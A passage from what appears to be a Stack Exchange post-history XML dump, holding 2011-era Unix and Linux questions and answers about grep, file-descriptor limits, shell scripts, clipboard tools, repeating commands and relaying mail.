&quot;$line&quot;   ]] ; then \&#xD;&#xA;                            echo &quot;- &quot;   ; \&#xD;&#xA;                         elif [[ -d &quot;$line&quot; ]] ; then \&#xD;&#xA;                            echo &quot;dir&quot; ; \&#xD;&#xA;                         else \&#xD;&#xA;                            echo &quot;?&quot;   ; \&#xD;&#xA;                         fi ; \&#xD;&#xA;                      fi ; \&#xD;&#xA;                   else \&#xD;&#xA;                      if [[ &quot;$erronly&quot; == &quot;true&quot; ]] ; then \&#xD;&#xA;                          if [[ &quot;$errflag&quot; != &quot;&quot; ]] ; then \&#xD;&#xA;                             echo &quot;$line&quot; ; \&#xD;&#xA;                          fi ; \&#xD;&#xA;                      else \&#xD;&#xA;                          echo &quot;$line&quot; ; \&#xD;&#xA;                      fi ; \&#xD;&#xA;                   fi ; \&#xD;&#xA;                   if ((colmnb==columns)) ; then \&#xD;&#xA;                      ((colmnb=0)) ; \&#xD;&#xA;                      errflag=&quot;&quot; ; \&#xD;&#xA;                   fi ; \&#xD;&#xA;                done &gt; &quot;$listf&quot; )\&#xD;&#xA;          &gt;/dev/null&#xD;&#xA;    #&#xD;&#xA;    cat &quot;$listf&quot;&#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="25645" PostHistoryTypeId="2" PostId="10629" RevisionGUID="12e38658-7025-44be-a5e1-66bb80c1d7c5" CreationDate="2011-04-05T07:11:23.600" UserId="4949" Text="That doesn't look like gmrun is any part of the problem or solution.&#xD;&#xA;&#xD;&#xA;It looks more like something got buggered in the latest update of `monodoc-base` that results in it remaining unconfigured, which in turn means that `monodoc-http` can't be properly configured because it's missing a dependency.&#xD;&#xA;&#xD;&#xA;According to that output, `gmrun` itself is already installed." />
  <row Id="25646" PostHistoryTypeId="2" PostId="10630" RevisionGUID="2a19de6a-c5d5-4029-aa80-a80c8ca160a1" CreationDate="2011-04-05T07:25:53.373" UserId="6297" Text="Hi .. &#xD;&#xA;I develop java application, I divide my application become `5 sub applications`. &#xD;&#xA;I create `service wrapper` to each sub applications, the wrapper using shell script.&#xD;&#xA;&#xD;&#xA;    subaap1/bin/app.sh&#xD;&#xA;    subaap2/bin/app.sh&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Now I want to create startup script `startup.sh`, to execute all wrapper script.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    sh subaap1/bin/app.sh start&#xD;&#xA;    sh subaap2/bin/app.sh start&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;But I got `Unexpected command: start` error&#xD;&#xA;&#xD;&#xA;Somebody help me please " />
  <row Id="25647" PostHistoryTypeId="1" PostId="10630" RevisionGUID="2a19de6a-c5d5-4029-aa80-a80c8ca160a1" CreationDate="2011-04-05T07:25:53.373" UserId="6297" Text="How to run sh from sh file" />
  <row Id="25648" PostHistoryTypeId="3" PostId="10630" RevisionGUID="2a19de6a-c5d5-4029-aa80-a80c8ca160a1" CreationDate="2011-04-05T07:25:53.373" UserId="6297" Text="éshellàéshellöscriptà" />
  <row Id="25649" PostHistoryTypeId="2" PostId="10631" RevisionGUID="12108ab7-3cd5-4f1c-b128-0b8da7554ef1" CreationDate="2011-04-05T07:53:24.140" UserId="1594" Text="What's the best way to copy a long text file to keyboard? I'm imagining something like:&#xD;&#xA;&#xD;&#xA;    cat longTextFile | straightToClipboard" />
  <row Id="25650" PostHistoryTypeId="1" PostId="10631" RevisionGUID="12108ab7-3cd5-4f1c-b128-0b8da7554ef1" CreationDate="2011-04-05T07:53:24.140" UserId="1594" Text="How to copy a long textfile to clipboard?" />
  <row Id="25651" PostHistoryTypeId="3" PostId="10631" RevisionGUID="12108ab7-3cd5-4f1c-b128-0b8da7554ef1" CreationDate="2011-04-05T07:53:24.140" UserId="1594" Text="éclipboardà" />
  <row Id="25652" PostHistoryTypeId="5" PostId="10589" RevisionGUID="5cac853a-4dfc-4e3b-a414-25928edfbff6" CreationDate="2011-04-05T07:56:06.370" UserId="1594" Comment="added 166 characters in body" Text="I pressed something and accidentally swapped my two screens. My left one is actually considered as the right one, and vice versa. How can I swap them back?&#xD;&#xA;&#xD;&#xA;**Edit** - Specifically, I'm using Gnome, though we might also want to keep this question generic.&#xD;&#xA;&#xD;&#xA;**Edit 2** - It appears that my driver isn't compatible with xrandr. I'm attaching log of `/var/log/Xorg.0.log` [here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pastebin.com/wpNutkwp" />
  <row Id="25653" PostHistoryTypeId="2" PostId="10632" RevisionGUID="f3a0e7ff-979f-4a27-8ddf-b83729780322" CreationDate="2011-04-05T08:18:27.517" UserId="3046" Text="You shouldn't need to use sh to run your sub applications. Because you are using it, your startup.sh is not reading start as a parameter to subaap1/bin/app.sh&#xD;&#xA;&#xD;&#xA;Just use:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    subaap1/bin/app.sh start&#xD;&#xA;    subaap2/bin/app.sh start&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;But make sure your path to subaap1 is correct." />
  <row Id="25654" PostHistoryTypeId="2" PostId="10633" RevisionGUID="d43faadf-e6de-4112-98e3-add688c30d5c" CreationDate="2011-04-05T08:18:36.487" UserId="515" Text="I am using [Launchy][1] which is light weight and works really well. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.launchy.net/" />
  <row Id="25655" PostHistoryTypeId="2" PostId="10634" RevisionGUID="8ead87ec-b3e2-4199-b2a6-d4b9512a525f" CreationDate="2011-04-04T08:56:34.863" UserDisplayName="litro" Text="Hi,&#xD;&#xA;&#xD;&#xA;How can I set a video mode in linux the low level way? As far as I know the lowest layer in userspace would be to request kms via drm. Is this correct? And if so, how could I achive a mode switch and access to the associated &quot;video memory&quot;?&#xD;&#xA;&#xD;&#xA;Thanks ahead" />
  <row Id="25656" PostHistoryTypeId="1" PostId="10634" RevisionGUID="8ead87ec-b3e2-4199-b2a6-d4b9512a525f" CreationDate="2011-04-04T08:56:34.863" UserDisplayName="litro" Text="How to set a video mode in linux with kms/drm?" />
  <row Id="25657" PostHistoryTypeId="3" PostId="10634" RevisionGUID="8ead87ec-b3e2-4199-b2a6-d4b9512a525f" CreationDate="2011-04-04T08:56:34.863" UserDisplayName="litro" Text="écççà" />
  <row Id="25658" PostHistoryTypeId="17" PostId="10634" RevisionGUID="9d132d59-e676-478e-8ce7-cae23c24c8d5" CreationDate="2011-04-05T08:25:58.037" UserId="-1" Comment="from http://stackoverflow.com/questions/5536395/how-to-set-a-video-mode-in-linux-with-kms-drm" Text="" />
  <row Id="25659" PostHistoryTypeId="17" PostId="10636" RevisionGUID="b4a1a949-2167-4536-b69d-b5bae30d9dd3" CreationDate="2011-04-05T08:26:58.897" UserId="-1" Comment="from http://stackoverflow.com/questions/5548004/how-to-make-pattern-for-grep-command-on-linux-for-muiltiline-pattern/5548021#5548021" Text="" />
  <row Id="25660" PostHistoryTypeId="17" PostId="10637" RevisionGUID="ca54b232-2409-4485-b3b7-438f34c12c64" CreationDate="2011-04-05T08:26:58.897" UserId="-1" Comment="from http://stackoverflow.com/questions/5548004/how-to-make-pattern-for-grep-command-on-linux-for-muiltiline-pattern/5548068#5548068" Text="" />
  <row Id="25661" PostHistoryTypeId="17" PostId="10638" RevisionGUID="c19c3b32-38b0-49d0-8f94-3caca1acca41" CreationDate="2011-04-05T08:26:58.897" UserId="-1" Comment="from http://stackoverflow.com/questions/5548004/how-to-make-pattern-for-grep-command-on-linux-for-muiltiline-pattern/5548076#5548076" Text="" />
  <row Id="25662" PostHistoryTypeId="2" PostId="10636" RevisionGUID="22a8b1e5-8413-4ed7-9817-513bd53e3cc1" CreationDate="2011-04-05T06:25:41.693" UserDisplayName="prusswan" Text="This sounds like something that can be better done using perl or other tools available on linux, do you really have to use grep? I found out that `grep -A 1 -B 2` gets you 1x line after, and 2x lines before the matching keyword, but it might not be sufficient for what you are really trying to do." />
  <row Id="25663" PostHistoryTypeId="2" PostId="10637" RevisionGUID="34d7ae93-f18e-42d4-90aa-5f438256ecee" CreationDate="2011-04-05T06:31:20.470" UserDisplayName="flolo" Text="From your text I understand that you want a line of text and the next line, there grep has the option -A, -B, -C. -A gives the #lines after the matching (in your case 1) and -B gives the #lines before match (in your case 0). (C sets A and B at the same time)." />
  <row Id="25664" PostHistoryTypeId="2" PostId="10638" RevisionGUID="45f544f5-f484-404e-8619-ba10076409ae" CreationDate="2011-04-05T06:32:21.190" UserDisplayName="kurumi" Text="awk&#xD;&#xA;&#xD;&#xA;    $ awk '/wekobj/{print ;getline; print}' file&#xD;&#xA;&#xD;&#xA;Ruby(1.9+)&#xD;&#xA;&#xD;&#xA;    $ ruby -ne 'print &quot;#{$_}#{gets}&quot; if /wekobj/ ' file" />
  <row Id="25669" PostHistoryTypeId="17" PostId="10640" RevisionGUID="5d54d456-775f-4f4c-b25d-0f4674e21d20" CreationDate="2011-04-05T08:28:37.773" UserId="-1" Comment="from http://stackoverflow.com/questions/2400074/how-to-set-linux-open-file-limit-number/2400103#2400103" Text="" />
  <row Id="25670" PostHistoryTypeId="17" PostId="10641" RevisionGUID="eafea2ef-9bb7-4954-8635-71658739a33e" CreationDate="2011-04-05T08:28:37.773" UserId="-1" Comment="from http://stackoverflow.com/questions/2400074/how-to-set-linux-open-file-limit-number/2400110#2400110" Text="" />
  <row Id="25671" PostHistoryTypeId="17" PostId="10642" RevisionGUID="816dc6cc-fbfa-4aad-99a3-d2ba367520cb" CreationDate="2011-04-05T08:28:37.773" UserId="-1" Comment="from http://stackoverflow.com/questions/2400074/how-to-set-linux-open-file-limit-number/2400135#2400135" Text="" />
  <row Id="25672" PostHistoryTypeId="17" PostId="10643" RevisionGUID="57b81f7c-19f9-4b1a-af77-bce5c7899fb4" CreationDate="2011-04-05T08:28:37.773" UserId="-1" Comment="from http://stackoverflow.com/questions/2400074/how-to-set-linux-open-file-limit-number/2400464#2400464" Text="" />
  <row Id="25673" PostHistoryTypeId="2" PostId="10640" RevisionGUID="d2ea41bb-8118-4655-a606-c8e8574c22a2" CreationDate="2010-03-08T08:41:40.707" UserId="1116" Text="    ulimit -n&#xD;&#xA;&#xD;&#xA;can modify per process settings and&#xD;&#xA;&#xD;&#xA;    /proc/sys/fs/file-max&#xD;&#xA;&#xD;&#xA;or the sysctl variable called `fs.file-max` can be used to read and set the system-wide value" />
  <row Id="25674" PostHistoryTypeId="2" PostId="10641" RevisionGUID="3653c4fd-bb77-457f-a259-5d6f6efb4185" CreationDate="2010-03-08T08:43:04.317" UserId="1606" Text="you can add `fs.file-max = &lt;your number&gt;` into `/etc/sysctl.conf`. Then reboot." />
  <row Id="25675" PostHistoryTypeId="2" PostId="10642" RevisionGUID="3a2ddf9b-267d-4df1-abc7-217feab89911" CreationDate="2010-03-08T08:48:12.340" UserDisplayName="seanhodges" Text="You can use ulimit for this:&#xD;&#xA;&#xD;&#xA;http://bloggerdigest.blogspot.com/2006/10/purpose-of-ulimit-linux-command.html&#xD;&#xA;&#xD;&#xA;Although you should make sure that opening so many file handles is absolutely necessary before resorting to such adjustments. Increasing the maximum file handles just because you have forgotten to do an inputstream.close() in a loop is only going to delay the underlying problem." />
  <row Id="25676" PostHistoryTypeId="2" PostId="10643" RevisionGUID="338fd997-5710-4767-aa6d-588ca467ab06" CreationDate="2010-03-08T10:00:56.523" UserDisplayName="bruce dou" Text="vi ~/.bashrc &#xD;&#xA;And add a line at the end of file&#xD;&#xA;&#xD;&#xA;    ulimit -n 169203" />
  <row Id="25677" PostHistoryTypeId="2" PostId="10639" RevisionGUID="a60e6d5b-3e83-41bc-9e43-b9a75e9f6786" CreationDate="2010-03-08T08:35:36.807" UserDisplayName="bruce dou" Text="And i will run a java app using nohup ... &amp;&#xD;&#xA;&#xD;&#xA;The setting must affect on this." />
  <row Id="25678" PostHistoryTypeId="1" PostId="10639" RevisionGUID="a60e6d5b-3e83-41bc-9e43-b9a75e9f6786" CreationDate="2010-03-08T08:35:36.807" UserDisplayName="bruce dou" Text="How to set linux open file limit number" />
  <row Id="25679" PostHistoryTypeId="3" PostId="10639" RevisionGUID="a60e6d5b-3e83-41bc-9e43-b9a75e9f6786" CreationDate="2010-03-08T08:35:36.807" UserDisplayName="bruce dou" Text="éuntaggedà" />
  <row Id="25680" PostHistoryTypeId="17" PostId="10639" RevisionGUID="aeabd4be-5fd6-4934-aeb5-669afd081367" CreationDate="2011-04-05T08:28:37.773" UserId="-1" Comment="from http://stackoverflow.com/questions/2400074/how-to-set-linux-open-file-limit-number" Text="" />
  <row Id="25681" PostHistoryTypeId="2" PostId="10644" RevisionGUID="48c6a394-e7c4-46e1-8bda-bdfb061f0eb4" CreationDate="2011-04-05T08:55:01.100" UserId="6298" Text="You can use the `expect` tool." />
  <row Id="25682" PostHistoryTypeId="5" PostId="10632" RevisionGUID="7ff22bc8-1cfa-444a-bc89-ebd7ba98b600" CreationDate="2011-04-05T08:57:20.497" UserId="3046" Comment="added 15 characters in body" Text="You shouldn't need to use sh in your script to run your sub applications. Because you are using it, your startup.sh is not reading start as a parameter to subaap1/bin/app.sh&#xD;&#xA;&#xD;&#xA;Just use:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    subaap1/bin/app.sh start&#xD;&#xA;    subaap2/bin/app.sh start&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;But make sure your path to subaap1 is correct." />
  <row Id="25684" PostHistoryTypeId="2" PostId="10645" RevisionGUID="0de472df-f298-4287-b7ae-44937da0cad8" CreationDate="2011-04-05T09:28:41.467" UserId="36" Text="you can use [xsel][1]&#xD;&#xA;&#xD;&#xA;    xsel &lt; file &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kfish.org/software/xsel/" />
  <row Id="25685" PostHistoryTypeId="17" PostId="10647" RevisionGUID="cab6b474-0339-4c3c-850d-149483862249" CreationDate="2011-04-05T09:44:21.647" UserId="-1" Comment="from http://stackoverflow.com/questions/555116/repeat-a-unix-command-every-x-seconds-forever/555119#555119" Text="" />
  <row Id="25686" PostHistoryTypeId="17" PostId="10648" RevisionGUID="d290e132-dc77-48b9-b3fe-1c7f76ace8e0" CreationDate="2011-04-05T09:44:21.647" UserId="-1" Comment="from http://stackoverflow.com/questions/555116/repeat-a-unix-command-every-x-seconds-forever/555128#555128" Text="" />
  <row Id="25687" PostHistoryTypeId="17" PostId="10649" RevisionGUID="3a291e76-3c9e-4f17-8af5-d5d8f0a1b44f" CreationDate="2011-04-05T09:44:21.647" UserId="-1" Comment="from http://stackoverflow.com/questions/555116/repeat-a-unix-command-every-x-seconds-forever/555130#555130" Text="" />
  <row Id="25688" PostHistoryTypeId="17" PostId="10650" RevisionGUID="d9bcb7e1-ad76-4ea8-a323-6b65e9fc13d7" CreationDate="2011-04-05T09:44:21.647" UserId="-1" Comment="from http://stackoverflow.com/questions/555116/repeat-a-unix-command-every-x-seconds-forever/555137#555137" Text="" />
  <row Id="25689" PostHistoryTypeId="17" PostId="10651" RevisionGUID="3dceddef-0ef2-4617-8cdb-1f683d061763" CreationDate="2011-04-05T09:44:21.647" UserId="-1" Comment="from http://stackoverflow.com/questions/555116/repeat-a-unix-command-every-x-seconds-forever/555164#555164" Text="" />
  <row Id="25690" PostHistoryTypeId="17" PostId="10652" RevisionGUID="5702e125-2ac4-4903-8a98-0dfba5e405b5" CreationDate="2011-04-05T09:44:21.647" UserId="-1" Comment="from http://stackoverflow.com/questions/555116/repeat-a-unix-command-every-x-seconds-forever/555170#555170" Text="" />
  <row Id="25691" PostHistoryTypeId="17" PostId="10653" RevisionGUID="3d6cc263-9a72-4580-bab7-882e7db4ea52" CreationDate="2011-04-05T09:44:21.647" UserId="-1" Comment="from http://stackoverflow.com/questions/555116/repeat-a-unix-command-every-x-seconds-forever/555172#555172" Text="" />
  <row Id="25692" PostHistoryTypeId="2" PostId="10647" RevisionGUID="bb4cfe2c-32fa-498c-83b0-d4c2767771bb" CreationDate="2009-02-17T00:13:34.773" UserDisplayName="pope" Text="**Bash**&#xD;&#xA;&#xD;&#xA;while + sleep&#xD;&#xA;&#xD;&#xA;    while true&#xD;&#xA;    do &#xD;&#xA;        echo &quot;Hi&quot;&#xD;&#xA;        sleep 1&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25693" PostHistoryTypeId="2" PostId="10648" RevisionGUID="ddc223d1-33b3-433b-b2ac-e51674e383f5" CreationDate="2009-02-17T00:17:07.730" UserDisplayName="dreeves" Text="### Perl&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env perl&#xD;&#xA;    # First argument is number of seconds to sleep between repeats, remaining&#xD;&#xA;    # arguments give the command to repeat forever.&#xD;&#xA;&#xD;&#xA;    $sleep = shift;&#xD;&#xA;    $cmd = join(' ', @ARGV);&#xD;&#xA;&#xD;&#xA;    while(1) {&#xD;&#xA;      system($cmd);&#xD;&#xA;      sleep($sleep); &#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="25694" PostHistoryTypeId="2" PostId="10649" RevisionGUID="6eae9d56-d729-4952-a69f-9a50b232f0d2" CreationDate="2009-02-17T00:18:30.300" UserId="3270" Text="I like the scripts, but an alternate approach would be to use `cron`...at least for `n = m*60`&#xD;&#xA;&#xD;&#xA;::blushes:: Hangs head in shame. Thanks Jonathan." />
  <row Id="25695" PostHistoryTypeId="2" PostId="10650" RevisionGUID="fa0879ba-fa90-4bb4-8f48-43cee4f73cee" CreationDate="2009-02-17T00:22:21.353" UserDisplayName="Gregor Brandt" Text="try the 'watch' command.&#xD;&#xA;&#xD;&#xA;Usage: `watch [-dhntv] [--differences[=cumulative]] [--help] [--interval=&lt;n&gt;] [--no-title] [--version] &lt;command&gt;`&#xD;&#xA;&#xD;&#xA;so that:&#xD;&#xA;&#xD;&#xA;    watch -n1  command&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;will run the command every second, forever&#xD;&#xA;&#xD;&#xA;OP has asked for link to OS X version of watch: [http://www.macports.org/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.macports.org/" />
  <row Id="25696" PostHistoryTypeId="2" PostId="10651" RevisionGUID="ea0a3248-1adc-4533-b1b9-afab742936e8" CreationDate="2009-02-17T00:36:15.283" UserDisplayName="Tooony" Text="In bash:&#xD;&#xA;&#xD;&#xA;    bash -c 'while [ 0 ]; do echo &quot;I will not automate this punishment in absurdum.&quot;; done'&#xD;&#xA;&#xD;&#xA;(Echo could be replaced by any command...&#xD;&#xA;&#xD;&#xA;Or in Perl:&#xD;&#xA;&#xD;&#xA;    perl -e 'for (;1;) {print &quot;I will not automate this punishment in absurdum.\n&quot;}'&#xD;&#xA;&#xD;&#xA;Where *print &quot;I will not automate this punishment in absurdum.\n&quot;* could be replaced with &quot;any&quot; command surrounded with backticks (`).&#xD;&#xA;&#xD;&#xA;And for a pause add a sleep statement inside the for loop.&#xD;&#xA;&#xD;&#xA;    bash -c 'while [ 0 ]; do echo &quot;I will not automate this punishment in absurdum.&quot;; sleep 1; done'&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    perl -e 'for (;1;) {print &quot;I will not automate this punishment in absurdum.\n&quot;; sleep 1}'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25697" PostHistoryTypeId="2" PostId="10652" RevisionGUID="f908e175-f88e-4594-9c5e-7f39e0ce86cd" CreationDate="2009-02-17T00:39:26.833" UserDisplayName="Gregg Lind" Text="Care to try this out (Bash)?&#xD;&#xA;&#xD;&#xA;    forever ()   {&#xD;&#xA;        TIMES=shift;&#xD;&#xA;        SLEEP=shift;&#xD;&#xA;        if [ &quot;$TIMES&quot; = &quot;-1&quot; ]; then  &#xD;&#xA;            while true;&#xD;&#xA;            do &#xD;&#xA;                $@&#xD;&#xA;                sleep $SLEEP&#xD;&#xA;            done&#xD;&#xA;        else&#xD;&#xA;            repeat &quot;$TIMES&quot; $@ &#xD;&#xA;        fi; }" />
  <row Id="25698" PostHistoryTypeId="2" PostId="10653" RevisionGUID="d140882e-e1c0-44db-ab54-85b3aefff329" CreationDate="2009-02-17T00:39:50.313" UserDisplayName="bedwyr" Text="As mentioned by gbrandt, if the 'watch' command is available, definitely use it.  Some Unix systems, however, don't have it installed by default (at least they don't where I work).&#xD;&#xA;&#xD;&#xA;Here's another solution with slightly different syntax and output (works in BASH and SH):&#xD;&#xA;&#xD;&#xA;    while [ 1 ] ; do&#xD;&#xA;        &lt;cmd&gt;&#xD;&#xA;        sleep &lt;x&gt;&#xD;&#xA;        echo &quot;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&quot; `date` &quot;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Edit: I removed some &quot;.&quot; in the last echo statement...holdover from my Perl days ;)" />
  <row Id="25699" PostHistoryTypeId="2" PostId="10646" RevisionGUID="eada53a8-bf60-4244-a005-a8078f228491" CreationDate="2009-02-17T00:11:13.157" UserDisplayName="dreeves" Text="There's a builtin unix command `repeat` whose first argument is the number of times to repeat a command, where the command (with any arguments) is specified by the remaining arguments to `repeat`.  For example,&#xD;&#xA;&#xD;&#xA;    % repeat 100 echo &quot;I will not automate this punishment.&quot;&#xD;&#xA;&#xD;&#xA;will echo the given string 100 times and then stop.&#xD;&#xA;&#xD;&#xA;I'd like a similar command, let's call it `forever`, that works similarly except the first argument is the number of seconds to pause between repeats, and it repeats forever.  For example,&#xD;&#xA;&#xD;&#xA;    % forever 5 echo &quot;This will get echoed every 5 seconds forever and ever.&quot;&#xD;&#xA;&#xD;&#xA;I thought I'd ask if such a thing exists before I write it.&#xD;&#xA;I know it's like a 2-line perl or python script but maybe there's a more standard way to do this.&#xD;&#xA;If not, feel free to post a solution in your favorite scripting language, [rosetta stone](http://stackoverflow.com/questions/61863/rosetta-stone-sorting) style.&#xD;&#xA;&#xD;&#xA;PS: Maybe a better way to do this would be to generalize `repeat` to take both the number of times to repeat (with -1 meaning infinity) and the number of seconds to sleep between repeats.&#xD;&#xA;The above examples would then become:&#xD;&#xA;&#xD;&#xA;    % repeat 100 0 echo &quot;I will not automate this punishment.&quot;&#xD;&#xA;    % repeat -1 5 echo &quot;This will get echoed every 5 seconds forever.&quot;&#xD;&#xA;" />
  <row Id="25700" PostHistoryTypeId="1" PostId="10646" RevisionGUID="eada53a8-bf60-4244-a005-a8078f228491" CreationDate="2009-02-17T00:11:13.157" UserDisplayName="dreeves" Text="Repeat a unix command every x seconds forever." />
  <row Id="25701" PostHistoryTypeId="3" PostId="10646" RevisionGUID="eada53a8-bf60-4244-a005-a8078f228491" CreationDate="2009-02-17T00:11:13.157" UserDisplayName="dreeves" Text="éosxàéscriptingàécommandölineàéutilitiesà" />
  <row Id="25702" PostHistoryTypeId="17" PostId="10646" RevisionGUID="cdc26a42-41db-4748-816e-c746e8375442" CreationDate="2011-04-05T09:44:21.647" UserId="-1" Comment="from http://stackoverflow.com/questions/555116/repeat-a-unix-command-every-x-seconds-forever" Text="" />
  <row Id="25703" PostHistoryTypeId="2" PostId="10654" RevisionGUID="15ba91c0-b947-45c2-bb42-9960337bcb48" CreationDate="2011-04-05T10:09:45.173" UserId="2695" Text="I'd like to send mails using a PHP script that has been deployed on a CentOS machine. Problem is there is no mail server configured. There is, however, another linux machine that has a mail server configured. How can I use the &quot;good&quot; machine to send an email? &#xD;&#xA;&#xD;&#xA;P.S. I have the credentials of the &quot;good&quot; mail server." />
  <row Id="25704" PostHistoryTypeId="1" PostId="10654" RevisionGUID="15ba91c0-b947-45c2-bb42-9960337bcb48" CreationDate="2011-04-05T10:09:45.173" UserId="2695" Text="send mail using external mail server" />
  <row Id="25705" PostHistoryTypeId="3" PostId="10654" RevisionGUID="15ba91c0-b947-45c2-bb42-9960337bcb48" CreationDate="2011-04-05T10:09:45.173" UserId="2695" Text="émailàéphpà" />
  <row Id="25706" PostHistoryTypeId="2" PostId="10655" RevisionGUID="ad153cf7-c654-4bf7-9e3c-ba4fffef5761" CreationDate="2011-04-05T10:37:53.187" UserDisplayName="Mozo" Text="I am very sorry if this is not a correct place to ask this question. Suddenly this strange problem has come from no where. When I run kile I get the message&#xD;&#xA;&#xD;&#xA;    &quot;QStatusBar::insertWidget: Index out of range (4), appending widget&quot;&#xD;&#xA;&#xD;&#xA;And, I am not able to compile from Kile. While I press `pdfLatex` inside Kile, it becomes sorts of unconscious.&#xD;&#xA;&#xD;&#xA;I am sorry for this question. It would be great help if someone can guide me in right direction. &#xD;&#xA;&#xD;&#xA;I am using SuSE Linux 11.4&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25707" PostHistoryTypeId="1" PostId="10655" RevisionGUID="ad153cf7-c654-4bf7-9e3c-ba4fffef5761" CreationDate="2011-04-05T10:37:53.187" UserDisplayName="Mozo" Text="Kile, the latex editor, Problem" />
  <row Id="25708" PostHistoryTypeId="3" PostId="10655" RevisionGUID="ad153cf7-c654-4bf7-9e3c-ba4fffef5761" CreationDate="2011-04-05T10:37:53.187" UserDisplayName="Mozo" Text="écompilingàéeditorsà" />
  <row Id="25709" PostHistoryTypeId="17" PostId="10655" RevisionGUID="0a71e0cf-a17b-42cb-b8b5-ca6430e0a9bb" CreationDate="2011-04-05T10:44:45.817" UserId="-1" Comment="from http://tex.stackexchange.com/questions/14999/kile-the-latex-editor-problem" Text="" />
  <row Id="25710" PostHistoryTypeId="2" PostId="10656" RevisionGUID="09fe384e-9b14-4b73-bf0c-26509ab481ea" CreationDate="2011-04-05T10:47:29.087" UserId="4671" Text="I am not sure how detailed an answer you expect, but just make an SMTP connection to the machine running the email server at port 25 or whatever port it is listening on, and send an email to it to be relayed. I don't use PHP, but I expect there is some library that will do it for you. However, using your machine's email server is better.&#xD;&#xA;&#xD;&#xA;I think this is basically the same as this question - http://stackoverflow.com/questions/712392/send-email-using-gmail-smtp-server-from-php-page&#xD;&#xA;  " />
  <row Id="25711" PostHistoryTypeId="5" PostId="10656" RevisionGUID="db65eff0-f993-48b3-8ca6-f21b5bf0c894" CreationDate="2011-04-05T10:53:09.450" UserId="4671" Comment="added 51 characters in body" Text="I am not sure how detailed an answer you expect, but just make an SMTP connection to the machine running the email server at port 25 or whatever port it is listening on, and send an email to it to be relayed. I don't use PHP, but I expect there is some library that will do it for you. However, using your machine's email server is better.&#xD;&#xA;&#xD;&#xA;I think this is basically the same as this question - [Send email using GMail SMTP server from PHP page](http://stackoverflow.com/questions/712392/send-email-using-gmail-smtp-server-from-php-page).  " />
  <row Id="25712" PostHistoryTypeId="5" PostId="10624" RevisionGUID="534dd48d-5a7d-4d5a-be8a-f862100dd0c3" CreationDate="2011-04-05T11:33:49.253" UserId="2597" Comment="improved formatting" Text="The file contents are as follows:&#xD;&#xA;&#xD;&#xA;`&lt;wekobj&gt;`&#xD;&#xA;&#xD;&#xA;` &lt;name&gt;bla bla bla&lt;/name&gt;`&#xD;&#xA;&#xD;&#xA;` &lt;/wekbject&gt;`&#xD;&#xA;&#xD;&#xA;` &lt;strongobj&gt;`&#xD;&#xA;&#xD;&#xA;` &lt;name&gt;this is not requred&lt;/name&gt;`&#xD;&#xA;&#xD;&#xA;` &lt;/strongobj&gt;`&#xD;&#xA;&#xD;&#xA;I need to extract the line containing `&lt;wekobj&gt;` and the line that follows it.&#xD;&#xA;How do I do this using `grep`" />
  <row Id="25713" PostHistoryTypeId="24" PostId="10624" RevisionGUID="534dd48d-5a7d-4d5a-be8a-f862100dd0c3" CreationDate="2011-04-05T11:33:49.253" Comment="Proposed by 2597 approved by -1 edit id of 251" />
  <row Id="25714" PostHistoryTypeId="5" PostId="10624" RevisionGUID="4ec68a92-5f3f-48af-b55d-704e9120f976" CreationDate="2011-04-05T11:33:49.847" UserId="73" Comment="added 4 characters in body; edited title" Text="The file contents are as follows:&#xD;&#xA;&#xD;&#xA;    &lt;wekobj&gt;&#xD;&#xA;     &lt;name&gt;bla bla bla&lt;/name&gt;&#xD;&#xA;     &lt;/wekbject&gt;&#xD;&#xA;     &lt;strongobj&gt;&#xD;&#xA;     &lt;name&gt;this is not requred&lt;/name&gt;&#xD;&#xA;     &lt;/strongobj&gt;&#xD;&#xA;&#xD;&#xA;I need to extract the line containing `&lt;wekobj&gt;` and the line that follows it.&#xD;&#xA;How do I do this using `grep`&#xD;&#xA;" />
  <row Id="25715" PostHistoryTypeId="4" PostId="10624" RevisionGUID="4ec68a92-5f3f-48af-b55d-704e9120f976" CreationDate="2011-04-05T11:33:49.847" UserId="73" Comment="added 4 characters in body; edited title" Text="How to grep for a given pattern and the line that follows it?" />
  <row Id="25716" PostHistoryTypeId="5" PostId="10588" RevisionGUID="2074367f-922f-4c1e-b31c-dae4d85d2e2e" CreationDate="2011-04-05T11:36:42.277" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Which run dialog](http://unix.stackexchange.com/questions/2505/which-run-dialog)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm a unix noob, looking for a good replacement to Windows 7's start menu (pressing Windows key and typing &quot;Ch&quot; will bring up Chrome).&#xD;&#xA;&#xD;&#xA;I was told I can just press Alt-F2 to get a launcher, but it's a bit slow, and it doesn't seem to do auto-complete (at least not out of the box)" />
  <row Id="25717" PostHistoryTypeId="10" PostId="10588" RevisionGUID="81522e59-6340-44a8-823e-50d8ddeff908" CreationDate="2011-04-05T11:36:41.950" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
